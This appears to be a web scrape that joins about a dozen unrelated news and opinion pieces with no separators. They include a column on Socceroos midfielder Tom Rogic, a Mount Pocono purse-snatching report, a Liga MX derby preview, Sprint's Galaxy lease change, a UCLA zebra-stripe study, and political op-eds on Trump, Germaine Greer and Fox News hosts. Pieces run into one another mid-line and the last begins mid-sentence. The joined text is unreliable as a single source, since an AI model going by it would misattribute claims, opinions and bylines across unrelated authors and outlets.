SeattlePI senior editor Levi Pulkkinen can be reached at 206-448-8348 or levipulkkinen@seattlepi.com. Follow Levi on Twitter at twitter.com/levipulk.It's not his fault such expectations were shovelled on his slender back. After all, with the fading of the golden generation, the Socceroos lack superstars. Australia have only Mile Jedinak playing in the English Premier League, no one in Serie A or La Liga, and only bench warmer Mitch Langerak and the injured Robbie Kruse in the Bundesliga. So it's hardly surprising the football community has been searching, desperately, for someone to hang its hat on. With his silky skills, his languid movement and his size and scope, Rogic, who moved to Scottish giants Celtic just over a year ago, seemed the obvious candidate.
He had, at times, dazzled in his 24 appearances for Central Coast, and also impressed in cameo displays as a substitute for the Socceroos. But the reality is that the progress everyone expected and desired does not seem to have been made. A player of Rogic’s quality should, after nearly two months in the A-League, be making a bigger impression than he has. The 21-year-old has yet to dominate proceedings in the manner his admirers would have hoped, and he struggles to finish games. He has not scored a goal, nor contributed many assists. There is no doubt he has a terrific touch, but there has been little end product.
When he gets on the ball, he often takes too many touches. When he loses possession, he does not always track back to help the defence – a trait, it must be acknowledged, many of Victory’s other forward players have shared this season. He has also been rather injury prone and struggles for fitness, all factors which have impeded his progress and will be of concern to national team coach Ange Postecoglou. Postecoglou is a great admirer of Rogic’s ability and it is widely expected he will be in the World Cup squad, having played a role in helping Australia qualify. But on his current A-League form, it is hard to see Rogic having done enough to earn a starting spot in the Australian team. In fact, there are some Victory fans not only wondering what all the fuss is about, but whether or not the club should have signed him in the first place on a loan deal.
Not because he doesn’t have talent, but because the logic of the deal was more about Rogic than Victory. There was little likelihood he would stay beyond the period of his loan, so there would be no long-term benefit for Victory, and his presence there was chiefly for Rogic to play regular first-team football and gain fitness before the World Cup. It would seem that Victory – or any A-League club he had signed for in the January window for that matter – would have been of secondary consideration to Rogic warming up for the World Cup. You can’t blame the player for taking the opportunity, and if it works out for Victory and the Socceroos in the end, then all will be smiling. To be fair to Rogic, he doesn’t write the headlines nor has he touted himself as the answer to all of Australia’s problems.
Fans here need to get a grip and not confuse potential with achievement. When he left the Mariners last January, it didn’t stop Graham Arnold’s team from getting on with the job: three months later they had won their first A-League championship without him in the team. And far from decrying Celtic and the Scottish Premier League, perhaps there should be a pause for reflection. Rogic has been in Glasgow for a year and had not established himself as a first-team player. When Mark Viduka went to the Glasgow giants, he overcame a shaky start to quickly become a top player in the league and a prolific goalscorer. Scott McDonald, a forward who often attracts more criticism than is warranted in this country, went to Celtic and was a regular first-team player and regular scorer, netting against the likes of Manchester United in Champions League ties. Given the nature of deadlines, this column, at least for the print editions of Fairfax publications, had to be written before Tuesday night’s Asian Champions League clash with Yokohama F Marinos, so it's quite possible Rogic will hit form in the tie and show us what he is capable of.
For Victory’s sake, it is to be hoped that is the case. Postecoglou and every Australian with an eye on Brazil in three months will be hoping the talented young man can begin to fulfil the promise he has shown on a more regular basis.Please enable Javascript to watch this video
MOUNT POCONO -- Some purse-snatching bandits in the Poconos are now facing a slew of charges after their intended victim, an 81-year-old woman, tried to stop them by chasing them with her car.
A car parked in a quiet Mount Pocono neighborhood shows some front end damage after Alice Makla, 81, used it to chase down thieves who had snatched her purse from her while she sat in her car in her driveway.
Makla's neighbor Steve Jabara arrived 20 minutes after the robbery happened.
“One of the fellows reached in and grabbed the purse. She was talking to them, the window was open and they ran with it and she tried to chase them,” said Jabara.
In the pursuit, Pocono Mountain Regional Police say Makla hit the getaway car, but the robbers still drove off.
Officers found their damaged car in a nearby Shop Rite parking lot a short time later.
The car's occupants, William Hayhurst, 34, of Swiftwater and Erin Vanmatre, 30, of Cresco admitted to the crime.
They were arraigned on robbery and other related charges.
“She rammed their car, left some marks on it, and police had at least something to go on and they were apprehended today,” said Jabara.
“Good for her! I honestly think, good for her!” said Maria DePinto. “Honestly, they actually picked on that wrong person, so wrong day to pick on her.”
“I'm an old lady. I would fight. I'm 76, so I would go!” laughed Rosemarie Peise.
Police say the suspects targeted Makla after Vanmatre noticed how much cash she had while both women were at Rite Aid.
Vanmatre and Hayhurst then followed Makla home where they robbed her in the driveway.
“She wasn't afraid to go after them. They had her purse. She had I guess some money in there,” said Jabara. “She was pretty brave actually. She doesn't think so but she was.”
Police say Hayhurst told police they took $140 out of Makla's wallet before throwing her purse out the car window.
The two suspects are scheduled for a preliminary hearing on February 25.Another fascinating edition of the Liga MX ‘Clasico Regiomontano’ will take place when Tigres UANL and Rayados of Monterrey face-off in the quarterfinals of the Clausura 2016. Tigres made a great finish to their season by defeating Cruz Azul in their last game which ultimately earned them a seed in the playoffs as the 8th ranked team. Meanwhile, Monterrey was dominant throughout the course of the season ranking 1st and being the favorite to win this series.
With these results, Tigres and Monterrey will give us another playoffs edition of one of the most passionate rivalries in Mexico on Wednesday, May 11 and Saturday, May 15.
Next is a quick ‘liguilla’ history of this rivalry in since the formation of the ‘Torneos Cortos’:
The ‘auriazules’ and ‘la pandilla’ have faced each other a total of three times in ‘torneos cortos’. Its first edition was in the semifinals of the Clausura 2003 in which Monterrey won the first leg 4-1 at the Estadio Universitario and, Tigres the second leg (2-1) a the Estadio Tecnologico. With a 5-3 aggregate win, Monterrey reached the final and won the title against Monarcas Morelia.
The second edition of this ‘clasico regiomontano’ was in the Apertura 2005 semifinals. This series was a close contest which Monterrey also won after losing in the first leg 0-1, and winning the second leg 2-1. The ‘rayados’ reached the final against Toluca but lost.
The third and final edition of this rivalry took place eight years later, and once again in favor of Monterrey at the Clausura 2013 quarterfinals. In another close series, Monterrey won the first game 1-0, and tied the next 1-1. In another Monterrey misfortune, they would be eliminated against Club America in the semifinals.
This Wednesday will mark the fourth ‘liguilla’ edition in a rivalry which Monterrey has thus far dominated in such knock-out setting. While Monterrey is favored to win due to their higher ranking and overall better league performances, Tigres will go into the playoffs with a focused mind and with the memory that just five months ago they were crowned Liga MX champions. Nonetheless, this will be an exciting series which one cannot afford to miss.
Who is your pick to win this quarterfinal series? Monterrey, Tigres?Sprint has quietly killed of its "Galaxy Forever" leasing option for the Samsung Galaxy S7 edge. The leasing option, which mimics Sprint's similar "iPhone Forever" program, still remains for the S7 edge's little brother, the Galaxy S7.
While Sprint hasn't made any announcements regarding the move, FierceWireless confirmed with multiple Sprint stores that the option is no longer being offered with the S7 edge. Indeed, a quick check on Sprint's website shows that a 24-month lease option is still available for the Galaxy S7, but not for the S7 edge.
For those unfamiliar, Sprint's "Galaxy Forever" promotion launched alongside the Galaxy S7 and S7 edge, and acted as a 24-month lease option to finance either phone. You paid a bit less every month than you would on a regular financing installment plan, but the only caveat here is that Sprint still owns the phone, even if you pay through the full two years. That's because each Galaxy Forever customer has the option to return the phone to Sprint in exchange for a new phone after 12 months of payments — a right that usually costs an extra $5 per month at Sprint for other phones.
As it stands now, a more traditional 24-month financing plan is still available for the Galaxy S7 edge, in which you pay between $0 and $150 (depending on credit) up-front, and the remaining balance over a full two years — you just don't get the benefit of yearly upgrades baked into the financing.Hee hee.
That's the only possible response, right? After all of the nonsense about the Giants stuffing the ballot boxes, and SILICON VALLEY creating AUTOMATED BOTS, and the horror of Matt Cain, and Brandon Crawford almost making the team … the only response is to giggle. I think.
No, wait. I will also accept lighting a cigar in close quarters and laughing like De Niro in Cape Fear. That's also an acceptable response. De Niro or hee hee. You have to pick one.
For years and years and years, Giants fans had one hope when it came to the All-Star Game. All we wanted was for Giants players to escape the All-Star Game without getting embarrassed. From Atlee Hammaker doing something that we're still talking about 30 years later, to Rick Reuschel giving up one of the longest home runs in All-Star history, it was always the Giants doing silly things in front of the world. Even when Jason Schmidt pitched two scoreless innings, he drilled Edgar Martinez in the head. Who in the hell does that? A Giant. That's who.
Instead, there was this:
Not sure who took that screenshot, but I'm grateful. The 2012 All-Star Game might as well have been three hours of Lou Seal in bondage gear, handing out stuffed pandas on camera. Matt Cain was awesome, and the best part might have been all of the long, warning-track fly balls -- the equivalent of calling xFIP at three in the morning and hanging up. It was beautiful.
His last pitch of the first inning was clocked at 95. Now, they say that Kauffman Stadium has a hot gun, as well as a hot PITCH/fx reading. But what sort of American would I be if I didn't pick and choose the evidence that supported the belief I wasn't changing in the first place? The belief is that Matt Cain is the best. A 95-m.p.h. fastball -- faster than he's thrown in years, if I'm not missing a stray pitch here and there -- in the All-Star Game would jibe with that belief.
Melky Cabrera won the MVP and the Obvious Royals Metaphor Lifetime Achievement Award in the same night. Cabrera had a single and a home run in his return to Kansas City, while Jonathan Sanchez finished the game with four walks. That beats out Johnny Damon winning World Series with both the Yankees and Red Sox. It's at least tied. I remember thinking that Melky Cabrera was going to start the All-Star Game after the Giants traded for him, but to win the MVP? Inconceivable.
Is it weird that of all the Giants, the one I'm most proud of is Pablo Sandoval? After Buster Posey walked, I was terrified that Pablo was going to swing at a return throw from the catcher. But he stayed in the strike zone, and he got the hit that busted the game open. He would have received bonus points if the ball would have gone out, as that would have taken some pressure off Hammaker in the record books, but a triple was just fine.
That was clearly the best All-Star Game I've ever watched, even if the rest of the world turned it off after the bottom of the first. Pablo Sandoval ruined the nights of a few Fox Sports executives. Is it wrong to be happy about that? As long as I'm in hee-hee-Giants-fan-jerkwad mode, I suppose it's perfectly fine. You know that triple royally screwed the ratings, hilarious pun intended.
The only way that All-Star Game could have been better for the Giants is if Clayton Kershaw stepped off the field to save a choking kid and turned into an old doctor, like in Field of Dreams. The rest of the world was bored. Miserably bored. Hopelessly bored. Giants fans weren't! Hee hee.No, Hollywood isn’t planning a reboot of The Addams Family. This is a photo from earlier today when President Trump met Pope Francis at the Vatican. Needless to say, the pope doesn’t look too happy about the situation. But it’s nothing technology can’t fix.
Twitter user Space Archaeology found a genius solution that the White House might want to use on the dour photo. By utilizing FaceApp, he was able to turn the Pope’s disgusted scowl into a big, happy smile.
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President Trump’s Global Tour of Cuck has provided the world with countless memes and GIF-able moments, much to the embarrassment of the United States. And while Pope Francis did manage to crack a smile or two when the cameras were clicking, the more unguarded moments seemed to capture his true feelings.
Previously, Trump has clashed with Pope Francis over his desire to build a wall along the US-Mexico border. The Pope went so far as to say that Trump wasn’t a Christian because of his hateful rhetoric.
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“Anyone, whoever he is, who only wants to build walls and not bridges is not a Christian,” Pope Francis told journalists back in February of 2016 on a trip to Mexico. “Vote, don’t vote, I won’t meddle. But I simply say, if he says these things, this man is not a Christian.”
Trump went on the offensive after the pope’s remarks, saying that Pope Francis was disgraceful. In fact, Trump seemingly took the remarks against his wall as an attack on all of Christianity.
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“For a religious leader to question a person’s faith is disgraceful,” then-candidate Trump said during a campaign event at a private South Carolina golf course. “I am proud to be a Christian and as president I will not allow Christianity to be consistently attacked and weakened.”
Trump went on to accuse Mexico of “using the pope as a pawn” and said that “they should be ashamed of themselves.”
Later that day, Trump infamously said that the Vatican would one day be attacked by ISIS and that when it is, “the Pope would have only wished and prayed that Donald Trump would have been President because this would not have happened.”
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Yes, Trump really did say all of that in a Facebook post from February 18, 2016:
In response to the Pope: If and when the Vatican is attacked by ISIS, which as everyone knows is ISIS’s ultimate trophy, I can promise you that the Pope would have only wished and prayed that Donald Trump would have been President because this would not have happened. ISIS would have been eradicated unlike what is happening now with our all talk, no action politicians. The Mexican government and its leadership has made many disparaging remarks about me to the Pope, because they want to continue to rip off the United States, both on trade and at the border, and they understand I am totally wise to them. The Pope only heard one side of the story - he didn’t see the crime, the drug trafficking and the negative economic impact the current policies have on the United States. He doesn’t see how Mexican leadership is outsmarting President Obama and our leadership in every aspect of negotiation. For a religious leader to question a person’s faith is disgraceful. I am proud to be a Christian and as President I will not allow Christianity to be consistently attacked and weakened, unlike what is happening now, with our current President. No leader, especially a religious leader, should have the right to question another man’s religion or faith. They are using the Pope as a pawn and they should be ashamed of themselves for doing so, especially when so many lives are involved and when illegal immigration is so rampant. Donald J. Trump
President Trump and Pope Francis have clashed in the past on other issues like climate change and the sale of weapons around the world. Trump famously just signed one of the largest arms deals in history with Saudi Arabia.
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Trump has even clashed with the pope over his lifestyle, which is more humble than that of many previous popes. For instance, back in March of 2013, Trump took to Twitter to complain that the pope was standing in line to pay his hotel bill, rather than having his lackeys do it. Seriously.
So it’s no wonder that the pope might not have been overjoyed to see the US President, known for his ostentatious wealth and lack of humility. Of course, Trump considers himself to be a very humble man. Just like the pope, in fact.
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Plenty of people have also taken to social media to compare the differences in expressions between when Pope Francis met Donald Trump and when he met Barack Obama.
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We don’t know what Trump and the pope said to each other in private, but a picture is worth a thousand words. If Trump wants to make this look like they’ve buried the hatchet, Trump may need to utilize the best technology that the 21st century has to offer. Or, absent that, a smartphone app.We could all learn something from Germaine Greer’s antipodean ‘screw you’ to the Cardiff students who sought to ban her on grounds that she is transphobic.
Asked by BBC Newsnight if she understands why trans people might feel hurt and even ‘discriminated against’ by her comments on trans issues, Greer said: ‘I’m not saying people should not be allowed to go through that procedure [sex-change surgery]. What I’m saying is that it doesn’t make them a woman. That happens to be my opinion, not a prohibition.’ In other words, her views — that trans women are not real women but ‘men who believe they are women and have themselves castrated’ — don’t prohibit anyone from doing what they want. They aren’t an act of discrimination. They do not compel people to behave in a particular way. They’re just opinion, words. The idea that her comments are somehow ‘discriminatory’, even ‘harmful’, as the Cardiff students claim, is ‘absolute nonsense’, says Greer.
She’s dead right. And she has cut to the heart of the most insidious threat to free speech today: the blurring of the distinction between words and actions, the idea that opinion can wound as badly as a knife, or can discriminate against people in the same way laws can. Such a casual conflation of words with wounds, of opinion with assault, has led to the treatment of certain forms of speech as violence, as crimes to be crushed, not only on campuses but across the public sphere in 21st-century Europe.
Greer was due to give a lecture on women and power at Cardiff next month. But the student-union women’s officer, of all people, started a petition demanding she be shunned from campus because of her ‘misogynistic views towards trans women’. Hundreds of Cardiff students lined up behind the idea that Greer’s views are ‘dangerous’, ‘discriminatory’, causing ‘hatred and violence’. It’s remarkable how flippantly the language of violence is used to describe, and denounce, the expression of an idea. ‘Dangerous’, ‘violence’ — you’d think Greer was planning to turn up with a machete rather than just her musings. The students accuse her of enforcing ‘discrimination against transgender people’. But Greer isn’t a king or lawmaker. She has no power to prevent trans people from going to university or getting jobs. If her comments make you feel so bad that you flee university and curl up in bed, that’s your fault: you’re discriminating against yourself, by judging yourself incapable of hearing critical comments. Greer’s ideas might rattle and stir, or convince some people that trans women aren’t real women. But they don’t wound or discriminate. Her opinion is not a prohibition. This idea that words are assault is a recurring one in the arguments of the Stepford Students. ‘Blurred Lines’ has been banned on campuses across Britain because it ‘violates’ rules against ‘sexual harassment’. So hearing a song is like being harassed. Some unions banned the Sun on the basis that its daily Page 3 girls (RIP) ‘normalise rape’. (Blaming young women who strip off for men who rape? Nice. This rehabilitates in pseudo-edgy lingo that old judge’s view that mini-skirted girls had it coming.) The Oxford students who prevented me from taking part in a debate on abortion last year said allowing someone ‘without a uterus’ to discuss abortion would harm their ‘mental safety’.Philly's vegan-dining cred is now so well established that even the New York Times is on it, but in the meantime our hometown vegan businesses are already taking things a step further by bringing great Philly vegan dining experiences to the rest of the world, starting with the Atlantic seaboard.
While Philly vegan food manufacturers have long exported plant-based goodness to outlets on the Northeast Corridor, this spring, for the first time, not one but three beloved Philly vegan joints are opening eateries in three different East Coast cities. Each is newsworthy in a different way, so let's take them chronologically.
First out of the gate was VGE, which opened a franchise location on April 8 in Atlanta, in an office-complex food court. The locale is "kind of like Liberty Place," said owner Fernando Peralta, who opened the first VGE in Bryn Mawr some four years ago.
The Atlanta VGE menu is "almost the same" as the original's, Peralta said - the main difference is that the option of formatting a given menu item as a bowl, rather than a wrap or sandwich, is spelled out and given moe prominence. Open 10:30 a.m. to 6:30 p.m., the place does a brisk lunch business from 11:30 to 2 p.m. and is now working up its delivery system to capitalize on suppertime customers.
The healthy fast-casual spin at VGE is part of the Plant Pure Nation initiative launched by Nelson Campbell - son of The China Study's T. Colin Campbell - which touts the benefits of a whole-foods plant-based diet free of added oils and added sugars. So far the lunchtime crowd is digging into the healthy-yet-tasty VGE approach, said Peralta, noting the restaurant's out-of-town launch "went surprisingly well - better than I expected."
Was it hard to keep tabs on a franchise some six states away? "We did simplify some practices," he said, "to make it easier for local folks to manage the food, the cooking." His operations manager was in Atlanta for 5 weeks overseeing the launch, and he said he wanted to see how the location fared before signing any more franchisees. Now he's ready to focus on the next location locally, and though he's already had a bunch of inquiries and a couple "preliminary talks" he's "very motivated to talk with anybody local" about potential Philly-based spots, encouraging entrepreneurs to "reach out to us."
In contrast to VGE's franchise model, Nicole Marquis is opening HipCityVeg in Washington, DC next week (June 8) as the fifth enterprise in her growing Marquis & Co empire.
"Yeah, my hands are fully in it," she said, noting that getting DC going while overseeing her four existing Philly venues (2 HCV's, Bar Bombon and Charlie was a sinner.) has meant "nonstop work - and I thought I worked a lot before." But it's worth it: "We feel comfortable maintaining standards of quality" this way, she said.
The DC location, whose opening has been eagerly touted by no less than Senator Cory Booker (almost a V for Veg regular), is in the Chinatown section. "The neighborhood is welcoming and accessible, a good mix of business and residential, kind of like 18th Street [the first, Rittenhouse Square-based HCV, which also opened in 2012]," she noted, adding that the new venue's menu will replicate the winning formula used so far in Philly.
From the sound of it, this will not be the only extramural excursion (another local HCV opens on Broad Street this summer) for her popular fast-casual brand: "I've been traveling a lot," she said, "Looking at every city on the east coast," but like Peralta, she's watching how DC does before taking things to the next level - or to the next metropolis. But she's confident that the demand is there.
"A wave of consciousness has swept cities," Marquis said, "with people starting to understand plant-based food is not just good for our bodies, but for the planet and for the welfare of other living beings." That mission of HipCityVeg, which "four years ago... was a big deal, is now becoming a lot more mainstream," she said.
And what could be more mainstream than an old-school pizza parlor in New York City? Surprisingly, there is no vegan version as of yet in all of the five boroughs, and Mark Mebus, Blackbird co-owner Ryan Moylan and others who have lived in NYC "were all thinking, that's absurd," he said. "Something had to be done."
So they did. Within the next few weeks a "New York-style" pizza-by-the-slice pizzeria that is yet unnamed will open in Brooklyn, a collaboration between the owners of Blackbird and those of Brooklyn's all-vegan Champs Diner, which has, like many venues in Philly and neighboring states, already been using Blackbird seitan "for quite a while."
It's not impossbile to find vegan pizza in New York, Mebus notes: "There are places that have it, but not as their main thing - one fancy sit-down place, but it's not New York-style." As an honest-to-god pizza joint, the new place will feature food similar to Blackbird's pizza offerings - bold creations ranging from standard vegan pepperoni and sausage pies to creative Philly favorites like the Haymaker - "but it's just pizza," so New Yorkers may still have to wait for Blackbird's award-winning vegan cheesesteaks and seitan wings to make the trek.
The venue is in the northern portion of Brooklyn, just below Queens, and near an ice cream vendor, Leewan's, who "usually has five or six vegan flavors," and the neighborhood overall seems a good match, Mebus said. The project was also a good Philly/NYC team-up as Blackbird and Champs "have similar clienteles."One of nature’s fascinating questions is how zebras got their stripes.
A team of life scientists led by UCLA’s Brenda Larison has found at least part of the answer: The amount and intensity of striping can be best predicted by the temperature of the environment in which zebras live.
In the January cover story of the Royal Society’s online journal, Open Science, the researchers make the case that the association between striping and temperature likely points to multiple benefits — including controlling zebras’ body temperature and protecting them from diseases carried by biting flies.
“While past studies have typically focused their search for single mechanisms, we illustrate in this study how the cause of this extraordinary phenomenon is actually likely much more complex than previously appreciated, with temperature playing an important role,” said Thomas B. Smith, professor of ecology and evolutionary biology in the UCLA College and senior author of the research.
Larison, a researcher in UCLA’s department of ecology and evolutionary biology and the study’s lead author, and her colleagues examined the plains zebra, which is the most common of three zebra species and has a wide variety of stripe patterns. On zebras in warmer climes, the stripes are bold and cover the entire body. On others — particularly those in regions with colder winters such as South Africa and Namibia — the stripes are fewer in number and are lighter and narrower. In some cases, the legs or other body parts have virtually no striping.
Zebras evolved from horses more than 2 million years ago, biologists have found. Scientists have previously hypothesized that zebras’ stripes evolved for one, or a combination of, four main reasons: confusing predators, protecting against disease-carrying insects, controlling body temperature and social cohesion. And while numerous previous studies of the phenomenon focused on a single hypothesis, the Larison-led study was the first to fully test a large set of hypotheses against one another.
Analyzing zebras at 16 locations in Africa and considering more two dozen environmental factors, the researchers found that temperature was the strongest predictor of zebras’ striping. The finding provides the first evidence that controlling body temperature, or thermoregulation, is the main reason for the stripes and the patterns they form.
Separate research by Daniel Rubenstein, a Princeton University professor of ecology and evolutionary biology and a co-author of the Open Science paper, and Princeton undergraduate Damaris Iriondo strongly suggests that boldly striped zebras have external body temperatures about five degrees Fahrenheit cooler than other animals of the same size — like antelopes — that do not have stripes but live in the same areas. The Rubenstein study is not yet published, but it is cited in the Open Science paper.
Larison has studied many zebras during her field work throughout Africa — including in Kenya, South Africa, Tanzania, Uganda and Zimbabwe. Using the fact that their stripes are unique like fingerprints, she is able to distinguish one zebra from another.
In addition to Rubenstein, arguably the world’s leading expert on zebras, the study’s co-authors were Alec Chan-Golston and Elizabeth Li, former UCLA undergraduates in mathematics; Ryan Harrigan, an assistant adjunct professor in UCLA’s Center for Tropical Research; and Henri Thomassen, a former UCLA postdoctoral scholar and current research associate at the Institute for Evolution and Ecology at Germany’s University of Tübingen.
The research was supported by the National Geographic Society Committee for Research and Exploration.
Larison and her research team have also collected zebra tissue samples and have used cutting-edge technology to sequence zebra DNA to try to identify which genes code for striping. The team is continuing to study the benefits stripes provide.Donald Trump speaks at a campaign event at Trump Doral golf course in Miami.
Donald Trump speaks at a campaign event at Trump Doral golf course in Miami. Carlo Allegri/Reuters
Businessman Donald Trump officially became the Republican nominee at the party’s convention in Cleveland.
Businessman Donald Trump officially became the Republican nominee at the party’s convention in Cleveland.
Businessman Donald Trump officially became the Republican nominee at the party’s convention in Cleveland.
What Donald Trump is doing on the campaign trail
What Donald Trump is doing on the campaign trail
Now that Justice Ruth Bader Ginsburg has taken herself to the woodshed, it’s worth asking what her brief bout of Trump Derangement Syndrome says about our system’s ability to withstand four years of a Trump presidency.
Short answer: It is not a good omen.
As the idea of a President Trump has evolved from laughable to unlikely to oh-my-god-this-might-actually-happen, a debate has raged in Washington.
The debate is not over the man’s fitness for office — few people privately will make the case that Donald Trump is qualified or temperamentally suitable to be commander in chief — but over how much damage he might do.
Some say that Trump could be more disruptive than any previous leader, including propelling the nation toward fascism.
The Notorious RBG isn’t backing down from her negative comments about Republican presidential candidate Donald Trump, and now he’s calling for her resignation from the Supreme Court. Here’s a quick rundown of what the two have said. (Jenny Starrs/The Washington Post)
But an anti-alarmist caucus responds that the U.S. system is stronger than any single person — that we could rely on the Constitution, on long-established checks and balances, on watchdogs in the press and elsewhere, and on leaders who would stand up for the rule of law.
For example, Trump has endorsed the torture of terrorism suspects and the punitive bombing of their innocent families. But if he tried to implement such illegal measures, the reassurers argue, military officers and civilian bureaucrats would refuse to obey. If he tried to round up and deport 11 million people without due process, judges would object. Congress, too, would check executive overreach.
I would like to believe this argument, but a time like this brings home how much the U.S. system relies not just on laws but also on habits of abiding by them: on an ingrained respect for norms, for democratic give-and-take and for civility.
That respect has been ebbing in recent years as partisanship has grown more poisonous. Republicans would argue that President Obama has pushed the envelope with executive orders that have ignored congressional intent and undercut the separation of powers.
But when judges declared that Obama had gone too far with his attempt to legalize millions of illegal immigrants, he stood down. He was bitterly disappointed, no doubt, but acceded to the judicial decision.
What if a president decided to ignore such a decision? What if he had appointed an attorney general, a budget director, a border chief or other bureaucrats eager to abet such defiance?
Imagine, for example, that judges told a President Trump that he could not turn the Southwest border region into “a police state,” which the executive director of the American Civil Liberties Union forecast in a recent Post op-ed would be the result of Trump’s plan to deport 11 million undocumented immigrants. Imagine that Trump and his administration continued building camps anyway. Given the contempt that Trump has expressed for the judiciary, and the ignorance he has displayed of the Constitution, that scenario is not so far-fetched.
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At such a moment, laws could not save you; only people could. Would members of Congress, career civil servants and others stand up to Trump and for the rule of law — and could they oppose him while remaining true to principle and not descending to his level?
On the first question, the evidence from Trump’s party is not encouraging. Republicans who months ago were clear about the danger that he represents have abjectly fallen into line, albeit with varying levels of enthusiasm. If House Speaker Paul D. Ryan (R-Wis.) cannot disavow a candidate he has accused of racism, why would we think he would be firmer when that espouser of racism lived in the White House?
The second question — could Trump’s opponents stay true to their own values? — is where the Ginsburg episode is discouraging. Like Sen. Marco Rubio (R-Fla.), with his playground taunts during primary season, Ginsburg let Trump drive her to behavior she must on some level have known was wrong, tactically as well as ethically.
The derangement is understandable. Trump is corrected by fact-checkers but just restates his fictions more loudly. He insults war heroes and pays no apparent price with veterans. Lies, conspiratorial insinuations, name-calling and behavior that would knock most candidates out of contention — concealing his tax returns, for instance — do not appear to harm him.
How to respond? If you pretend, as Ryan has, that Trump is an ordinary Republican leader, just one speech away from acceptability, you end up looking like a sap.
So the temptation is to match insult with insult, or (as some protesters did during primary season) violence with violence.
But engaging Trump at the insult game only reinforces his implicit argument that the talents of a reality-television star are sufficient for a president. And a judge embracing partisanship and abandoning judiciousness reinforces another cynical Trump view: that the system is “rigged” and all our leaders are dumb or venal.
Trump brought the worst out in Rubio and Ginsburg. What will it look like if he draws out the worst in our country?
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by the states to finance benefits to those who become unemployed through no fault of their own. Conservatives have often attacked the system of unemployment insurance as well as those who receive unemployment benefits.
Varney seizes on claim that "unemployment would be at 6.8 percent, not the 9.5 percent," if Congress hadn't "extended unemployment benefits." On the August 31 edition of Fox & Friends, Varney cited a Wall Street Journal op-ed by Harvard economics professor and Hoover Institute senior fellow Robert Barro to claim that, in Varney's words, "If we had not extended unemployment benefits to 99 weeks from the standard 26 weeks, [Barro] says, unemployment would be at 6.8 percent, not the 9.5 percent." According to Varney, Barro argued that "you extend benefits like this, and it discourages people from going out to look for work especially, you know, the start of the benefit period, because it's nearly two years." Barro's theory and similar claims -- that extending unemployment benefits in the current recession provide a disincentive for people to find work -- have been widely disputed by experts.
Kilmeade: "Maybe" eliminating "unemployment benefits will get people to sober up" and get jobs. On the July 15 edition of Fox & Friends, referencing Senate Republicans who had blocked extending unemployment benefits, co-host Brian Kilmeade told Partnership Staffing Inc. CEO Bill Auchmoody that "maybe" the elimination of "unemployment benefits will get people to sober up and take some of your offers."
Hannity falsely suggested Fed said unemployment benefit extension increased ranks of those without jobs. On the February 22 edition of his show, Hannity claimed that the economic recovery act "actually raised unemployment," citing minutes from a January Federal Reserve meeting to falsely suggest that the extension of unemployment benefits in the recovery act increased the number of people who don't have jobs. In fact, the Federal Reserve minutes Hannity cited actually stated that the provision had the effect of raising the measured unemployment rate because people who lost their jobs sought to remain in the workforce in order to receive benefits rather than leaving the workforce and being counted as "discouraged workers" instead of "unemployed."
Bolling: Unemployment benefits are about "allowing someone to stay out of work for longer." On the February 11 edition of Your World, Christian Dorsey of the Economic Policy Institute explained to guest host Bolling how unemployment benefits provide economic stimulus and create jobs. Bolling replied, "Had you told me that some of the tax credits, or the payroll tax holidays were a good thing, I probably would have agreed with you, but when you tell me that another entitlement program -- allowing someone to stay out of work for longer -- and you tell me that's a job creator, I'm just going to have to disagree with you."
Beck: Unemployed workers who don't take low-paying jobs have "sold their soul" to the government." On the August 12 edition of his radio show, Beck said that "you now have people who are on unemployment, but they wont' take another job," purportedly because they pay less than unemployment benefits. Beck said that those people "have sold their soul to the government, they have sold their pride."
Beck on "some" protesting expiration of unemployment benefits: "I bet you'd be ashamed to call them Americans." On the August 16 edition of his Fox News show, Beck discussed a protest of "99ers," people whose unemployment insurance benefits have run out after 99 weeks. Beck said:
The 99ers. These people, some of which I -- frankly, I bet you'd be ashamed to call them Americans. They think that 99 weeks on unemployment benefits just aren't enough. Last week, they went out to Wall Street and they protested. Ninety-niner Connie Kaplan asked, "Are you going to tell us, Mr. President and Congress, that our lives are not worth saving?" Connie, here's an idea. I'll save your life. Don't spend your remaining money on travel to get to a protest. Go out and get a job. You may not want the job. Work at McDonald's. Work two jobs.
Environmental Protection Agency
The Environmental Protection Agency (EPA) was established in 1970 under President Richard Nixon and works to "protect human health and to safeguard the natural environment -- air, water and land -- upon which life depends." Its work has long been opposed by conservatives.
Gingrich: EPA "needs to be replaced." In his 2010 book, To Save America: Stopping Obama's Secular-Socialist Machine, Fox contributor Newt Gingrich writes: "The EPA has become an engine of undemocratic bureaucracy filled with people who seek to impose their fanatical views on an unwilling American population. The EPA and its entire regulation-litigation, Washington-centered, command-and-control bureaucracy needs to be replaced." (Page 151)
Gingrich does not explain in the book what he proposes to replace the EPA with. Asked that question during a May 17 interview on Fox News Sunday, Gingrich did not answer directly, instead saying:
Well, first of all, in the case of the Environmental Protection Agency, you have a -- you have a bureaucracy which is self- selected of people who believe they have the right to make the most amazing micro-management judgments around the whole country. And if you look at the degree to which they now issue rules, believe they can regulate the entire carbon economy -- and again, you want to talk about socialism. How about having a government agency of unelected people who decide they can literally rewrite the entire economy based on carbon? And I think it's very hard to reform an agency which has spent two generations recruiting people who are more and more anti-business, more and more anti-commercial activity, and who represent a value system that's very hard to deal with.
Progressive taxation
Liberals traditionally support progressive taxation, in which those with less income are taxed at a lower rate than those with higher incomes. Conservatives have opposed that system of taxation in favor of "flat taxes" in which everyone pays the same tax rate.
Beck lashed out at "protected poor" taking tax money from the rich. On the January 12 edition of his Fox News show, Glenn Beck used pie as a prop to show how the "protected poor" in the "bottom 50 percent pays only 3 percent of everything that we spend" while the "evil rich people" in the top one percent of income earners pay much more:
